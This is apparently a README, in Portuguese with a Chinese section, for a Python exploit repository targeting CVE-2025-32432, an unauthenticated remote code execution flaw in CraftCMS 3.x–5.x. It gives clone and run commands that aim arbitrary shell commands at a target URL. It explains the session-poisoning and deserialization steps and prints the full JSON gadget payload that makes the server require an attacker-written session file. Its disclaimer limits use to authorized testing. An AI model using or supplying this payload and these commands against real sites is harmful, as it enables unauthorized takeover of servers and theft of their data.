Scripts de Exploração para CVE-2025-32432 (PoC em Python)

Execução Remota de Código sem autenticação para CraftCMS 3.x / 4.x / 5.x
Mantenedor do PoC: C.T.Y. (apenas para uso em pesquisa)
Descoberta da Vulnerabilidade: Nicolas Bourras – Orange Cyberdefense
Inspiração Adicional para PoC: Pesquisa SensePost & script público de Chirag Artani

1. Visão Geral

Este repositório contém dois exploits Python complementares para CVE-2025-32432 — um RCE sem autenticação no endpoint de transformação de assets do CraftCMS.

Script	Objetivo
`craftcms_rce_php_check.py`	Sonda de segurança — envia uma requisição usando o gadget `FnStream` para verificar se PHP arbitrário é executado (imprime a saída de `phpinfo()`). Ideal para confirmação de baixo impacto.
`craftcms_final_payload.py`	Exploit completo — cadeia de dois pacotes: primeiro implanta PHP via `FnStream`, depois utiliza o gadget `FieldLayoutBehavior → PhpManager` para executar qualquer comando de shell.

O segundo script é o descrito ao longo deste README.
O primeiro script é incluído para completude e validação rápida, cortesia de Chirag Artani — veja Créditos.
O nome do arquivo foi adaptado para clareza; estrutura e ideia originais de Chirag Artani.

2. Aviso 🚨

Apenas para testes educacionais e de segurança autorizados.
Usar estes scripts contra sistemas sem permissão explícita por escrito é ilegal e antiético.

3. Funcionalidades (payload final)

RCE em dois pacotes em um único disparo
Varredura automática de assetId (heurística 404 → 302)
Execução de comandos personalizados (-c/--cmd)
Funciona sobre HTTP ou HTTPS (avisos de verificação SSL suprimidos)
Extração limpa da saída do comando a partir da resposta HTML

4. Requisitos

Python 3.8+
Pacotes PyPI (instalar via pip install -r requirements.txt):
- requests
- urllib3

5. Instalação

# Clone o repositório
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt

# Instale as dependências
pip install -r requirements.txt

6. Uso

6.1 Verificação Rápida de Execução PHP

python3 craftcms_rce_php_check.py -u https://victim.com

Se vir a saída de phpinfo(), o alvo é muito provavelmente explorável.

6.2 Exploit Completo de Dois Pacotes

python3 craftcms_final_payload.py -u https://victim.com -c "id"

Opções

Opção	Forma longa	Descrição	Obrigatório
`-u`	`--url`	URL base do alvo (sem barra final)	✅
`-c`	`--cmd`	Comando shell a executar	✅
`-a`	`--asset`	`assetId` conhecido	❌
`-s`	`--scan-max`	Limite de varredura (padrão: 300)	❌

7. Como a Vulnerabilidade Funciona (resumo)

Envenenamento de Sessão — GET para /index.php?p=admin/dashboard&a=<?=...?> grava PHP arbitrário em /tmp/sess_<ID>.
Gadget de Desserialização — POST para actions/assets/generate-transform com um gadget FieldLayoutBehavior → PhpManager força o CraftCMS a dar require() no arquivo de sessão, executando o código.

{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}

8. Versões Testadas

CraftCMS < 3.9.15 (requer varredura de assetId)
CraftCMS < 4.14.15
CraftCMS < 5.6.17

9. Referências e Leitura Adicional

10. Créditos

C.T.Y. — PoC completo de dois pacotes e documentação
Chirag Artani — Script original de verificação phpinfo (craftcms_rce_php_check.py) e ideias iniciais de pesquisa O nome do arquivo foi adaptado para clareza; estrutura e ideia originais de Chirag Artani.
Nicolas Bourras / Orange Cyberdefense — Descoberta da vulnerabilidade e divulgação responsável
Insights adicionais da equipe de pesquisa SensePost

11. Licença

Aviso de Responsabilidade: Quaisquer riscos legais ou danos decorrentes do uso deste código são de responsabilidade exclusiva do usuário.

Licença MIT — consulte LICENSE.

中文說明

1. 專案內容

檔案	用途
`craftcms_rce_php_check.py`	PHP 執行可行性檢查：單一請求，使用 `FnStream` 觸發 `phpinfo()`，以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。
`craftcms_final_payload.py`	兩包鏈完整利用：先以 `FnStream` 植入 PHP，再透過 `PhpManager` 執行任意指令。

2. 免責聲明

僅供教學與合法授權測試使用。未經授權操作即屬違法。

3. 快速檢查

python3 craftcms_rce_php_check.py -u https://目標站

4. 完整利用

python3 craftcms_final_payload.py -u https://目標站 -c "id"

參數與英文版相同。

5. 致謝

Chirag Artani — phpinfo 檢查腳本 此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。
Nicolas Bourras / Orange Cyberdefense — 漏洞發現與技術靈感
SensePost — 技術靈感

6. 授權

使用本程式碼造成之任何法律風險與損失，由使用者自行承擔。

MIT License

CVE-2025-32432-PoC

Mais Populares